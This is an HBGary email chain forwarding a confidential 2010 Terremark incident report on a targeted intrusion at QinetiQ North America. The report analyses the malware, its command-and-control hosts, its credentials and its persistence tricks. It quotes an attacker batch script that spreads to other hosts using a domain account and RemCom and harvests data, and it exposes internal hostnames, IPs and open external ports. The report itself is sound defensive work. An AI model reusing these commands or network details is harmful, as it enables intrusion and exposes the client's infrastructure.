
From: "Michael G. Spohn" <mike@hbgary.com>
To: "Greg Hoglund" <greg@hbgary.com>; "Scott Pease" <scott@hbgary.com>; "Shawn Bracken" <shawn@hbgary.com>
Sent: Wednesday, June 09, 2010 9:56 AM
Attach: Terremark - QNA interm.pdf; mike.vcf
Subject: Fwd: Terramark Report for QQ

Greg,

Attached is the Terramark report that was provided to QNA. Search for update.exe and you will find a detailed explanation of what it does.
This is important information that will shorten the time for us to understand this malware.

MGS

-------- Original Message --------
Subject: Terramark Report for QQ
Date: Tue, 25 May 2010 16:12:00 -0400
From: Phil Wallisch <phil@hbgary.com>
To: Greg Hoglund <greg@hbgary.com>, Mike Spohn <mike@hbgary.com>

Greg, Mike,

Matt Anglin from QQ spoke with me today about the different vendor reports he received. He liked ours but was very impressed with the level of detail provided in the Terramark report (attached). We will deliver v2 of our report at the end of Phase II and should shoot for this level of detail.

--
Phil Wallisch | Sr. Security Engineer | HBGary, Inc.

3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864

Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460

Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog: https://www.hbgary.com/community/phils-blog/

Incident Response Final Report
For QinetiQ North America

Date Prepared: May 19, 2010
STRICTLY CONFIDENTIAL

Contact Information

50 NE 9th Street
Miami, FL 33132

Tel: 305-856-3200
Fax: 305-856-8190

Visit our website for further information at www.terremark.com.

Primary Project Contact

Michael Alexiou

VP, Engagement Services

E-mail: malexiou@terremark.com

Phone: *540.454.7357*

Table of Contents:

Executive Summary

Terremark Worldwide, Inc, Secure Information Services (SIS) has conducted in-depth analysis of data collected in association with the QinetiQ North America (QNA) incident over the first phase of an incident response engagement, and as such, is providing a consolidated final report. Collection and analysis efforts have been conducted on several fronts; specifically, Network Monitoring, Memory/Malware Analysis, and Disk Analysis have been performed.

In order to facilitate Network Monitoring activities, SIS shipped network monitoring equipment to designated locations and worked with QNA staff to deploy this equipment. SIS staff was then able to remotely access network traffic information, apply appropriate filters and alerts, and provide detailed analysis of observed traffic.

Through continual network monitoring, and the analysis of memory and selected files collected from several identified (initially identified by QNA, further systems identified as a result of SIS monitoring and analysis) systems, SIS was able to take an iterative approach to identifying indicators of compromised systems (IOCs). These IOCs were then used to locate other potentially infected systems, from which data was collected in order to conduct detailed analysis and attempt to determine when and how the system was infected.

Though monitoring and analysis efforts continue, SIS has identified several infected systems and several variants of infection. SIS was also able to identify a previously unseen intruder toolkit, as well as identify the means by which the intruder was able to move laterally throughout the QNA infrastructure. This report details the findings that SIS has verified to this point.

Goals

The goals of this engagement have been for SIS to locate known and unknown malware within the QNA infrastructure, based on initial findings provided by QNA. QNA has also asked that SIS determine, if possible, how discovered malware was placed on systems, and for remediation recommendations.

Findings

SIS has been able to confirm the initial suspected infection within the QNA infrastructure, specifically in the Huntsville and Albuquerque locations. Using initial information provided by QNA (i.e., network artifacts, and several systems identified for analysis), SIS was able to confirm the initial indicators of compromise (IOCs) on several systems. Through continual analysis of monitored network traffic, SIS was able to identify additional network-based indicators of compromise. Through further analysis of collected memory and selected files, SIS was able to identify not only a variant to the initial host-based indicator of compromise, but also two additional host-based indicators of compromise.

SIS was also able to identify systems that exhibit indicators of compromise associated with other known malware.

Due to factors which include the lack of temporal proximity to the incident as well as actions taken on systems prior to SIS obtaining access to those systems, SIS has not yet been able to identify the initial infection vector that precipitated the incident. However, SIS has identified additional network- and host-based IOCs beyond those initially provided, as well as the means by which the intruder is able to spread laterally throughout the QNA infrastructure.

Incident Background

Terremark Worldwide, Inc., Secure Information Services (SIS) has been conducting detection and analysis efforts on several fronts; specifically, Network Monitoring, Memory/Malware Analysis, and Disk Analysis. In addition, SIS received approval to conduct Network Scans of externally visible IP addresses, looking for possible points of ingress into the QinetiQ North America (QNA) infrastructure.

Network Monitoring

Network Monitoring continues to monitor traffic for active threats based on indicators obtained through analysis of discovered malware. This has yielded significant findings and identified additional infected hosts. QNA has been notified that collections have been completed on several of these hosts (see the table provided below in the Disk Analysis section of this report), and SIS recommends that these hosts be taken offline immediately. This has been communicated to designated QNA points of contact in order to expedite remediation.

Provided below are two tables that summarize SIS network monitoring findings. In both tables, question marks in the "Source Hostname" column indicate that the hostname associated with the observed IP address was not known at the time of discovery.

The below table list QNA hosts observed communicating with or attempting to locate (through DNS lookups) IP addresses known to be directly associated with this incident.

Source Hostname	Source IP	Destination IP	Context
ABQAPPS, BOSITSSDC7, BOSITSSDC8, HSVQNAODC1, HSVDC2	10.40.6.34, 10.255.67.18, 10.255.67.19, 10.2.6.92, 10.2.6.93	-	DNS requests for nci.dnsweb.org
HSVSECURITY	10.2.6.101	216.15.210.68	Traffic associated with "known bad" IP address
HEC_RTIESZEN	10.2.20.15	216.15.210.68	Traffic associated with "known bad" IP address
HEC_JWHITE	10.2.30.150	216.15.210.68	Traffic associated with "known bad" IP address
WDT_ANDERSON	10.3.47.118	216.15.210.68, 66.228.132.53	Traffic associated with "known bad" IP address
MLEPOREDT	10.10.64.171	216.15.210.68	Traffic associated with "known bad" IP address
JSEAQUISTDT	10.10.64.179	216.15.210.68	Traffic associated with "known bad" IP address

The below table lists QNA hosts observed communicating with or attempting to locate (through DNS lookups) other systems known to be associated with malware, but not directly associated with this incident. In most instances, the observed communications was identified as possibly unwanted or malicious traffic through the use of "threat feeds" which identify known bad or malicious sites or traffic patterns. Where applicable, the entries in the below table include the appropriate ThreatExpert.com reference.

Source Hostname	Source IP	Destination IP	Context
CCRAWFORD-DT-LB	172.16.158.158	10.54.8.5	Internal host is making DNS queries of domains associated with known malware.

WD-KAEVANS	10.54.176.15	87.242.78.75	Downloading images from known malware site.
ARLRJKREM3LT	10.26.0.34	87.242.78.75	HTTP requests to known bad IP addresses. http://www.threatexpert.com/report.aspx?md5=6cd8209226a8a5c9f6126ec1dbb0608a
HEC_SANCH	10.2.20.125	198.145.250.87	Possible malware beacon traffic http://www.threatexpert.com/report.aspx?md5=26aef84310f3d9cdbf6d0e97eb425086
CBM_CAMPBELL	10.2.40.113	-	Performing numerous whois lookups for domains/IPs all over the world. This system was also observed communicating with the imrworldwide.com domain, which may be an indicator of a malicious Java applet being installed on the system in order to provide ads.
? SLEC_MCCARTHY	10.32.224.12, 10.3.30.123	195.170.178.55	SSL to a known Backdoor Trojan Malware site http://www.threatexpert.com/report.aspx?md5=09b2ce9f27df082e15b9b2da663da8ae
?	10.10.64.20	91.212.226.7	SSL showing indications of malware traffic patterns http://www.threatexpert.com/report.aspx?md5=03a4169d32c69b05685a309d1149d688
WD-PEVERETT1	10.54.176.20	195.170.178.55, 91.212.226.66, 91.212.226.67	Traffic sent to known malware servers in Moldova & Russia http://www.threatexpert.com/report.aspx?md5=09b2ce9f27df082e15b9b2da663da8ae
RPEMPSELLDT, SLEC_SCHMIDT, HEC_PAWEST	10.10.72.12, 10.3.30.130, 10.2.40.183	-	Possible spyware agent hijacking cookies and harvesting personal information (SAHAgent) http://www.threatexpert.com/report.aspx?md5=838a985ba9160fec87011779afd0dd9b
WD-CONF207	10.54.72.27	91.212.226.59	Traffic sent to a known malware/botnet server in the Netherlands http://www.threatexpert.com/report.aspx?md5=f79ad6778b24366adacf65b41bae320f

Memory/Malware Analysis

Analysis has been conducted on several malware samples retrieved from systems found to be infected. The following provides information regarding the nature and capabilities of several of the pieces of malware discovered (analysis of other malware samples is on-going).

SIS was able to independently associate malicious activity between the HEC_RTIESZEN system and a possible command and control server after identifying two suspicious executable files, disguised as .cab files, in the root of the 216.15.210.68 server (i.e., possible command and control server). Hash lookups on the Virustotal.com site confirmed that the .cab files found in the root of the server had, in fact, previously been identified as malware. SIS also reverse engineered one of these binaries and confirmed the files as malware.

The following sections provide detailed analysis of malware that found and examined by SIS.

iprinp.dll (variant 1)

This version of the iprinp.dll component of the malware runs as a service and provides the adversary with a remote access capability. The malware was found on multiple systems (HEC_RTIESZEN, ARSOAFS, ABQAPPS) within the C:\Windows\system32\ directory. Based on the information in the Portable Executable (PE) header (which could be spoofed) it appears that the executable was compiled on Wed Mar 24 14:44:17 2010 UTC. This malware leverages Secure Socket Layer (SSL) TLSv1, by statically compiling OpenSSL v0.9.8i into the executable in order to encrypt all command and control (C2) communications. The remote access capability allows its operators to perform such tasks as run arbitrary commands, run commands as an arbitrary user, upload and download files, add extra layers of encoding to uploaded or downloaded files, enumerate servers, extract system information, and enumerate and kill processes.

The following table lists exemplar C&C commands and their descriptions:

Command	Description
"exit"	Exit remote shell
"bdkzt"	Creates un-named pipes for input/output then executes user-specified command
"exe"	Allows the adversary to specify a command to be run and the user who it should be run as.
"download" and "upload"	These commands create a new thread and allow the adversary to upload and download files.
"ljc"	Gets active process list using NtQuerySystemInformation
"sjc"	Terminate process by pid or name
"lists"	Enumerates servers on the network (DC, SQL, Terminal, all) and local system information.

This variant of the malware is hard-coded to connect to the "utc.bigdepression.net" and "nci.dnsweb.org" hosts for command and control. The utc.bigdepression.net host has been observed resolving to the IP address 66.228.132.53 when activated.

Once this Dynamic Link Library (DLL) is loaded, it will attempt to connect to utc.bigdepression.net. If the host resolves to an active, valid IP address (i.e., 66.228.132.53) the intruders will have remote access to the compromised system. Once the active adversary is connected to the system he may begin by performing reconnaissance through the use of native commands such as "ipconfig /all", "cd\", "dir", etc.

There are also a number of interesting aspects to this malware. First, the malware contains a number of software defects which cause certain aspect of its capabilities to fail to function properly. This includes a failed attempt to create a patched command shell (temp/cftmon.exe) with a "Macrosoft Corp." banner. Another interesting aspect of this version of the malware is that this is the first variant seen by SIS to have OpenSSL statically compiled into the executable, which dramatically increases the size of the sample. The malware authors have also taken a number of elaborate steps to ensure entropy for the client SSL key.

There are also aspects of the malware's PE structure which indicate signs of VMProtect, a software protection technology which can be used to thwart analysis. What is surprising about this is that it does not appear that the intruder was actually making use of the advanced protection capabilities offered by VMProtect. As a result, it is possible to easily extract this variant from memory.

The following table summarizes the malware indicators of compromise (IOCs):

Iprinp.dll (MD5: 279162665e7c01624091afb19b7d7f4c)	
File system IOC	C:\Windows\system32\iprinp.dll
Event Log IOC	Event Log event ID 602: C:\WINDOWS\Tasks\At1.job cmd /c "rundll32 iprinp.dll,RundllInstall Iprip" (if Process Tracking is enabled) Event Log event ID 7035: RIP Listener start
Registry IOC	HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Iprip\Parameters\ServiceDll value points to "C:\WINDOWS\system32\iprinp.dll"
Memory IOC	Svchost.exe process with command line "svchost.exe -k netsvcs" has the iprinp.dll module loaded
Network IOC	DNS requests for "utc.bigdepression.net" (observed resolving to 66.228.132.53 when active) and "nci.dnsweb.org". These names are hard-coded into the .dll file.
Notes	Partial use of VMProtect to obfuscate .dll on disk. OpenSSL is statically-compiled into the binary to protect communications. Provides intruder with a reverse shell into the infected system in order to run (native) commands.

iprinp.dll (variant 2)

This second variant of the iprinp.dll malware is also installed as a Windows service and is intended to provide the intruder with a remote access capability. This variant of iprinp.dll was found on the HEC_FORTE system and possesses a compilation time stamp of Tue Mar 30 03:16:13 2010 UTC. Unlike the aforementioned variant, this one was not statically-compiled with OpenSSL and instead contains a MSN Messenger client. This MSN messenger client sends its traffic over port 80 and logs into "gateway.messenger.hotmail.com" and "login.live.com" using the email address "d0ta010@hotmail.com" and the password "2j3c1k".

This variant appears to have many of the same indicators of compromise (IOCs) as the previously described iprinp.dll variant, but contains a different command and control mechanism. This variant also contains a serious software defect that causes it to crash while parsing the command and control protocol. The defect relates to the fact that the malware authors failed to check the return value of a strstr method before using the pointer. This results in a NULL pointer de-reference in certain circumstances and will generate Application Error messages (event ID 1004) in the Event log associated with the svchost process, indicating an issue with the iprinp.dll module.

The following table summarizes the malware indicators of compromise (IOCs):

Iprinp.dll (MD5: adcc385d7f713962e57fc6acdcb6949e)	
File system IOC	C:\Windows\system32\iprinp.dll
Event Log IOC	Event Log event ID 602: C:\WINDOWS\Tasks\At1.job cmd /c "rundll32 iprinp.dll,RundllInstall Iprip" (if Process Tracking is enabled) Event Log event ID 7035: RIP Listener start Event Log event ID 1004: Application Error for svchost.exe process, in iprinp.dll module
Registry IOC	HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Iprip\Parameters\ServiceDll value points to "C:\WINDOWS\system32\iprinp.dll"
Memory IOC	Svchost.exe process with command line "svchost.exe -k netsvcs" has the iprinp.dll module loaded

Network IOC	DNS requests for “gateway.messenger.hotmail.com” and “login.live.com” (names are hard-coded into the .dll file)
Notes	Utilizes MSN for command and control (d0ta010@hotmail.com/2j3c1k). Due to error in XML parsing, the DLL will cause an application error for the svchost.exe process

ntshrui.dll

This malware contacts the site at IP address 216.15.210.68, submitting an HTTP GET request for the “197.1.16.3_5.html” file. This page is hard-coded into the malware. The malware appears to read in the HTML and to perform functions based on the contents of the file. If no command is found, it sleeps for 10 minutes and then makes additional attempts. The malware makes use of “LZ32.dll”, this allows it to "expand" compressed files, an example being the .cab files found on the root of the 216.15.210.68 site (the .cab files are described below), as well as any other files with a header of "SZDD" (Microsoft SZDD compressed (Haruhiko Okumura’s LZSS)). The malware provides intruders with a mechanism to inject additional malware onto the system (via download), does not appear to provide a backdoor shell. It is possible that additional, downloaded malware would allow backdoor access into the infected system.

The ntshrui.dll malware employs a different persistence mechanism than the iprinp.dll malware variants. Rather than installing as Windows service, this malware is simply placed into the C:\Windows directory. There is a legitimate version of ntshrui.dll in the C:\Windows\system32 directory, and on domain-connected systems there is also a copy in the C:\Windows\system32\dllcache directory, indicating that this file is “protected” by Windows File Protection (WFP). The file named “ntshriu.dll” is an approved Windows Explorer (not Internet Explorer) shell extension; however, the Registry entry for the shell extensions do not include explicit paths to the DLLs.

When a user logs into a Windows system, the system runs the winlogon.exe and userinit.exe processes, and then launches the Windows shell, explorer.exe, in the context of the logged on user. The explorer.exe process reads the list of approved shell extensions from the Registry, and begins searching for the identified DLLs in the directory from which explorer.exe was launched. This behavior is documented at the Microsoft Developer Network site. Under most normal circumstances, explorer.exe would not find ntshrui.dll in the C:\Windows directory and would then proceed on to the C:\Windows\system32 directory. However, when the ntshrui.dll malware file is written to the C:\Windows directory, explorer.exe will located and launch the malicious version of ntshrui.dll first, and not load the legitimate version of the DLL.

The following table summarizes the malware indicators of compromise (IOCs):

Ntshrui.dll **(Variant 1 MD5: e6fdacc4f1b816a10f67dc02e8c8d15c)** **(Variant 2 MD5: bf5f84cf5877b40d6785461c0ee57b1e)**	
File system IOC	C:\Windows\ntrshrui.dll; when activated, query results in “197.1.16.3_5[1].html” file in the user’s Temporary Internet Files directory
Event Log IOC	None
Registry IOC	None
Memory IOC	Ntshrui.dll module loaded for Explorer.exe process
Network IOC	HTTP GET request to 216.15.210.68 for “197.1.16.3_5.html”
Notes	Loads as part of explorer.exe process when user logs in; includes code to expand .cab compressed files. Variant 1 of the DLL was found on HEC_JWHITE, and variant 2 was found

	on HEC_RTIESZEN.

update.cab/rasauto32.dll

SIS located the "update.cab" file at the root of the web server running at IP address 216.15.210.68 (to which ntshrui.dll submits an HTTP GET request). SIS determined that when "update.cab" is expanded the file C:\WINDOWS\System32\rasauto32.dll is created. The rasauto32.dll file was found on several systems within the QNA infrastructure; however, to date, SIS has not located update.cab on any QNA systems.

This malware copies the timestamp information from the legitimate version of "rasauto.dll" located in the "C:\windows\system32" directory. This can help "rasauto32.dll" avoid detection through timeline analysis.

It should be noted that “update.cab” is the compressed version of this file and will not run on a Windows system until the file is expanded via the Windows “expand” command.

The following table summarizes the malware indicators of compromise (IOCs):

Rasauto32.dll **(Variant 1 MD5: 83d7e99ace330a6301ab6423b16701de)** **(Variant 2 MD5: 99ba36a387f82369440fa3858ed2c7ae)** **(Variant 3 MD5: ae7bf771b80576ec88469a1bc495812e)**	
File system IOC	Update.cab (MD5: 512a6f5a1d5fe1bbc46c917d51ef0999) C:\Windows\system32\rasauto32.dll
Event Log IOC	Event Log event ID 602: C:\WINDOWS\Tasks\At1.job cmd /c “rundll32 rasauto32.dll,RundllInstall RasAuto" (if Process Tracking is enabled) Event Log event ID 7035: Remote Access Auto Connection Manager start
Registry IOC	HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RasAuto\Parameters\ServiceDll value points to “C:\WINDOWS\system32\rasauto32.dll”
Memory IOC	Svchost.exe process with command line “svchost.exe -k netsvcs” has the rasauto32.dll module loaded
Network IOC	Based on variant (names hard-coded into DLL): 1. DNS lookups for ou2.infosupports.com 2. DNS lookups for ou4.infosupports.com 3. DNS lookups for yang2.infosupports.com
Notes	OpenSSL statically-compiled into DLL to encrypt communications

svchost.cab

SIS located the svchost.cab file at the root of the web server running at IP address 216.15.210.68 (to which ntshrui.dll submits an HTTP GET request). To date, SIS has not located this file on any QNA systems. SIS determined that the file appears to be similar to the iprinp.dll (variant 2) malware, as it utilizes a similar command and control protocol (i.e., MSN Messenger, username “d0ta012@hotmail.com”, password “2j3c1k”. This malware appears to have a glitch that causes it to crash when it attempts to run. This glitch is apparently due to the way that the malware parses extensible markup language (XML) files.

It should be noted that “svchost.cab” is the compressed version of this file and will not run on a Windows system until the file is expanded via the Windows “expand” command.

The following table summarizes the malware indicators of compromise (IOCs):

Svchost.cab (MD5: be9b4d155f2ff7b3c31b0be375c30cd0)	
File system IOC	Svchost.cab file; C:\svchost1 file (see Registry IOC)
Event Log IOC	None
Registry IOC	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\BITS value points to c:\svchost1
Memory IOC	N/A
Network IOC	Appears to connect to MSN Messenger server "by2msg1010612.gateway.edge.messenger.live.com/gateway/"
Notes	Utilizes same credentials and includes same software fault as variant 2 of iprinp.dll; must be expanded before it can be run; to date, svchost.cab has not been located on any QNA systems

To date, SIS has not located svchost.cab on any QNA systems. This file was located on the root of the web server associated with the HTTP GET requests issued by the ntshrui.dll malware when it is launched.

Toolkit

Beginning on May 13th, 2010 at approximately 12:30:10am EST, malicious network traffic was identified originating from 10.3.47.118 (WDT_ANDERSON), destined for 66.228.132.53, one of the known bad IP addresses associated with 'utc.bigdepression.net'. An analysis of historical data indicated that there were a total of 11 sessions originating from WDT_ANDERSON destined for either 66.228.132.53 or 216.15.210.68. The traffic volume was approximately 4.8MB and the activity lasted between 12:30:10am and 01:49:26am, EST. The traffic consisted of encrypted SSL communications and based on prior analysis of malware associated with these 2 IP addresses, the activity may have been indicative of a possible remote shell and/or data exfiltration. The netflow data from this time period is provided in Appendix A.

Subsequent analysis of the WDT_ANDERSON system revealed a cache of files, or "toolkit" (update.exe, svchost.exe, and a.bat) in the "C:\Windows\temp\temp" directory. The file system metadata timestamps associated with these files, as well as an analysis of application prefetch file metadata from the system, are consistent with the network traffic flows observed the morning of May 13th, 2010. A description of these files is provided below.

Svchost.exe

SIS determined that the svchost.exe file is actually a renamed version of "RemCom.exe", which can be found at the following website:

http://talhatariq.wordpress.com/projects/remote-command-executor-xrce/

The following is the author's description of "RemCom":

"**What is RemCom :** RemCom is a small (10KB, packed with UPX) remoteshell / telnet replacement that lets you execute processes on remote windows systems, copy files on remote systems, process there output and stream it back. It allows execution of remote shell commands directly with full interactive console without having to install any client software. On local machines it is also able to impersonate so can be used as a silent replacement for Runas command."

From that description, the purpose of svchost.exe is to facilitate the execution of remote commands/programs on networked computers. The intruders used this program to move laterally within the QNA infrastructure and execute "update.exe" (described below) against a list of IP addresses (file name:"p1", also found in C:\Windows\temp\temp – see Appendix B). An

interesting note regarding Svchost.exe (a.k.a. RemCom.exe) is that the intruders appear to have protected the binary with VMProtect. However they did not enable any of the advanced features meant to thwart reverse engineering efforts. When Svchost.exe/RemCom.exe is executed, it leaves an IOC (i.e., a file named "remcomsvc.exe") on the target system. The intruders appear to have also realized this and included a command in the "a.bat" batch file (described below) to delete "remcomsvc.exe".

Update.exe

Update.exe was found on the WDT_ANDERSON computer in "C:\Windows\temp\temp". This executable appears to be custom malware whose purpose is to gather system information from each machine on which it is run. "Update.exe" gets executed against/on a list of client machines from the file "a.bat" (described below).

SIS was able to reverse engineer "update.exe" to obtain insights as to its purpose. Once executed, "update.exe" will begin to gather detailed information from the system on which it is run. This information includes: certificate information, running services, installed software, recently accessed documents, details regarding administrator users on the computer, desktop icons and the user's Internet browsing history. All of this information is first written to a file named "ErroInfo.sy", located in the C:\Windows\System32\drivers directory. After the information is written to "ErroInfo.sy", "update.exe" will read the content of that file into its allocated memory. In doing so "update.exe" compresses this information and then writes it back out to a file named "ErroInfo.sys", which is also located in the "C:\Windows\system32\drivers" directory. Once the compressed information has been written to "ErroInfo.sys" "update.exe" deletes the uncompressed version, "ErroInfo.sy". It would appear the intruders are using some form of custom compression or a modified version of an open source compression algorithm.

An uncompressed sample of "ErroInfo.sy", run on an SIS test system, is provided in Appendix C of this report.

A.bat

The batch file "a.bat" was found on the WDT_ANDERSON computer, located in the "C:\windows\temp\temp" directory. The following table illustrates the commands listed in the a.bat batch file and provides an explanation of each one:

Command	Explanation
FOR /F "tokens=1,2* " %%i in (p1) do (echo %%i >>pi	Parses the file "p1" for a list of IP addresses, appends command output to file 'pi'. The variable %%i contains the IP address of the remote system.
net use \\%%i [password_redacted] /u:qnao\qna.casa >>pi	Utilizes native command net.exe to log into the remote system using the account "qnao\qna.casa". SIS purposely redacted the plain text password and can provide it upon request.
svchost \\%%i -c update.exe >>pi	Utilizes svchost.exe run update.exe on the remote system; command output is appended to the file 'pi'.
move \\%%i\admin$\system32\drivers\ErroInfo.sys c:\windows\temp\temp\%%i.sys >>pi	Moves "ErroInfo.sys" from the remote system to the local system, effectively deleting it from the remote system.
del \\%%i\admin$\system32\remcomsvc.exe >>pi	Deletes the file "remcomsvc.exe" file from the remote system.
net use \\%%i /del >>pi)	Logs out/disconnects from the remote system; command output is appended to the file 'pi'.

Each of the commands in the batch file redirected the output to a file named 'pi', which was located in the same directory as the batch file and the rest of the toolkit. The presence of 'pi'

which contained messages indicating success plus the presence of 87 '.SYS' files in the same directory indicates the batch file was able to successfully harvest data from other systems on the network. Based on the size of the .SYS files and the captured traffic flow, it is also likely that this data was exfiltrated to the 66.228.132.53 IP address on May 13th at 12:49AM EST.

Disk Analysis

SIS collected memory, volatile data, and selected files from several systems from within the QNA infrastructure. Several of these systems were originally identified by QNA as possibly being infected or associated with the incident in some way. Through network monitoring and analysis, SIS identified several other systems of interest, and received approval from QNA to collect data (memory, volatile data, selected files) from those systems for analysis.

Once data had been collected, SIS began conducting a detailed analysis of that data in order to determine if each system was infected, and if so, determine the artifacts of the infection, including when and through what vector the system was infected.

The following table provides an overview of the systems from which data has been collected to date, and the malware that has been determined to be located on each:

System Name	Location	Iprinp.dll	Rasauto32.dll	Ntshrui.dll	Notes
ABQAPPS [10.40.6.34]	NM	X			
ABQQNAODC2 [10.40.6.98]	NM				Did not appear to be infected, but password hashes were retrieved using PWDumpX
ABQPLANJOB05 [10.40.6.141]	NM				Does not appear to have been infected.
ARSOAFS [10.2.27.36]	AL	X			
HEC_RTIESZEN [10.2.20.15]	AL	X	X	X (Variant 2)	Disk image acquired for detailed analysis on 15 May 2010; additional detailed analysis pending.
HEC_FORTE [10.2.20.10]	AL	X (MSN variant)			Disk image acquired for detailed analysis on 15 May 2010; additional detailed analysis pending.
HEC_SANCH [10.2.20.125]	AL				Detailed analysis pending; observed network traffic was not associated with any of these malware variants. Possible adware activity was observed.
WDT_ANDERSON [10.3.47.118]	MA	X	X		Recovered intruder toolkit from this machine located in "C:\Windows\temp\temp. Files included r.exe (version of RAR), svchost.exe (clone of PsExec), update.exe (collect detailed system information) and a.bat (runs all of the above commands on client systems by reading in IP addresses from a text file (file name p1 – Appendix B).

NLEPOREDT [10.10.64.171]					Analysis Pending. Observed reaching out to known C&C 216.15.210.68
JSEAQUISTDT [10.10.64.179]					Analysis Pending. Observed reaching out to known C&C 216.15.210.68
HEC_JWHITE [10.2.30.150]	AL			X (Variant 1)	
HSVSECURITY [10.2.6.101]	AL			X	

Detailed analysis of these systems continues, as SIS would like to determine, if possible, when and how each system was infected.

Threat Profile

For the past 5 years, members of the Terremark team have been tracking a number of malicious threat groups targeting both government and commercial organizations. While there are some differences in the software artifacts leveraged by these groups, the malicious actors often leverage common tradecraft in their attempts to exfiltrate sensitive information and maintain an undetected presence within the compromised network. It is also interesting to note that analysis conducted on a number of recent incidents is also beginning to suggest that particular threat groups may now have common goals and interests or have begun actively colluding.

In late 2007, QNA was targeted by one of these well-known threat groups. This group is often informally referred to as the "Comment Crew" by the government organizations and defense industry analysts who are actively tracking their campaigns. During the same time frame as the QNA incident, this particular threat group was also targeting a number of Federally Funded Research and Development Centers and other members of the defense industrial base. The most notable characteristic of this group is the malware's use of specifically crafted HTML content hidden on servers of legitimate businesses as a means of command and control. The most common command hidden within the HTML often instructs the malicious code to persist in a dormant state (sleeper cell) for a specified period of time. If the malicious adversary wants to regain remote access to the compromised network, they will encode a command that will signal the compromised node to download and install a software component that allow their human operators to have remote access capabilities.

In 2008 and 2009, Terremark performed investigations for a number of high profile political organizations. During these investigations, it was determined that the organizations were targeted by the same threat group, the "Comment Crew", which had previously targeted QNA. During the course of these investigations, two new software artifacts were also enumerated. The first software artifact was a piece of malware found on a user's machine, which attempted to act as an MSN Messenger client in order to provide remote access capabilities to the adversary. The second malicious software artifact was a dynamic link library (DLL) with the name "iprinp.dll", which was being injected into a svchost process. Unfortunately, at the time Terremark was brought into the investigation the server the adversary was utilizing for remote command and control was no longer active. Through static analysis and reverse engineering of the malicious code it was determined that the techniques leveraged by the"iprinp.dll" software were similar to those found in code examples discussed primarily on Chinese language sites. As a simple example, searching for the "SvcHost.DLL.log" (a common string found in most variants of "iprinp.dll" code) will return results of numerous Chinese sites and forums where the source code has been previously discussed and publically shared. At the time of the incident, it was unclear if the "iprinp.dll" software was being used by the "Comment Crew" or if there were, in fact, multiple threat actor groups conducting concurrent operations within the organizations.

Finally, it is informative to discuss the similarities between the multi-phased attack strategy currently being leveraged during the QNA incident and the strategies used by the threat groups actively targeting other US government and commercial organizations. As expected, the QNA attackers are leveraging the same methodologies and tradecraft to systematically exfiltrate data and maintain an undetected presence within the organization. For example, the human operators are using the same tools and techniques to provide encrypted remote access, enumerate critical systems, move laterally as valid users between those systems, extract password hashes, and exfiltrate sensitive data. As a concrete example, the "iprinp.dll" software which was initially brought to the attention of QNA is derived from the same code base as the software artifact found during the investigation of targeted political organizations. The MSN Messenger client command and control capabilities found in the "iprinp.dll" variant, discovered on the HEC_Forte system, are also similar to those found during the aforementioned incidents in 2008. The password used by the MSN Messenger client is also the same one used by a malicious software artifact, "svchost.cab", found on the command and control server used by the "iprinp.dll" variant initially reported to QNA. On this same server, Terremark found another malicious software artifact, "Update.cab", which provided the attackers a remote access capability from the command and control server through a different DLL, "rasauto32.dll". This remote access capability was found installed on HEC_RTIESZEN alongside "iprinp.dll". Finally, by monitoring traffic to the attackers command and control server and through in-depth memory analysis Terremark was able to find another new software artifact, "ntshrui.dll". The interesting thing about "ntshrui.dll", besides its miniscule size (~7K), is that it attempts to read static HTML pages hosted by a legitimate business. After further analysis, it appears that the static HTML may actually be providing the malware with a tertiary command and control/persistence capability, a similar but different instantiation of a tactic frequently attributed to the "Comment Crew". As an interesting side note, the version information meta data associated with the "ntshrui.dll" also suggests a Language of "Chinese (PRC)". This meta-data, coupled with source code archeology, and the remote VPN accesses originating from foreign IP address ranges, may facilitate speculation about possible attribution of the attacks. It is highly recommended that any speculations be corroborated with appropriate government contacts.

Network Scanning

On the morning of May 11th, 2010, SIS conducted network scans of visible external IP addresses, which QNA had provided. The purpose of the scans were to look for possible remote access points of ingress that an attacker could exploit, such as Remote Desktop. The below tables show the ports available at the time of the scan. IP addresses not reported had either filtered or closed ports. The scan consisted on the following ports 22,47,80,443,1723,3389. SIS recommends that QNA validate the requirement for all ports, services, and associate credentials found in the charts below.

SEG_DMZ	Open ports
65.125.11.129	22/tcp open ssh (protocol 2.0)
65.125.11.132	80/tcp open http Microsoft IIS webserver 6.0
65.125.11.158	443/tcp open ssl/unknown
204.131.75.71	80/tcp open http Apache httpd 2.0.54 ((Ubuntu))
208.45.242.15	22/tcp open tcpwrapped 80/tcp open http Apache Tomcat/Coyote JSP engine 1.1 443/tcp open ssl/unknown
208.45.242.16	22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
208.45.242.20	443/tcp open ssl/http-proxy SonicWALL SSL-VPN http proxy
208.45.242.34	80/tcp open http Microsoft IIS webserver 6.0

208.45.242.37	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open http Microsoft IIS webserver 6.0
208.45.242.41	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Apache httpd
208.45.242.42	22/tcp open ssh (protocol 2.0)
208.45.242.46	80/tcp open http Microsoft IIS webserver 7.0
208.45.242.49	80/tcp open http Microsoft IIS webserver 6.0
208.45.242.50	80/tcp open http Microsoft IIS webserver 6.0
208.246.202.4	80/tcp open http SonicWALL firewall http config 443/tcp open ssl/http SonicWALL firewall http config
208.246.202.10	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
208.246.202.11	80/tcp open http Microsoft IIS httpd 6.0 443/tcp open https?

TSG_DMZ	**Open ports**
68.15.15.26	22/tcp open ssh OpenSSH 4.5 (protocol 2.0) 443/tcp open ssl/http Apache httpd 2.2.15 ((Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m)
72.24.37.238	22/tcp open ssh OpenSSH 4.5 (protocol 2.0)
206.251.163.213	22/tcp open ssh OpenSSH 3.6.1p2 (protocol 1.99)
206.251.163.219	22/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft IIS webserver 6.0 1723/tcp open pptp Microsoft (Firmware: 3790) 3389/tcp open microsoft-rdp Microsoft Terminal Service

MSG_DMZ	**Open ports**
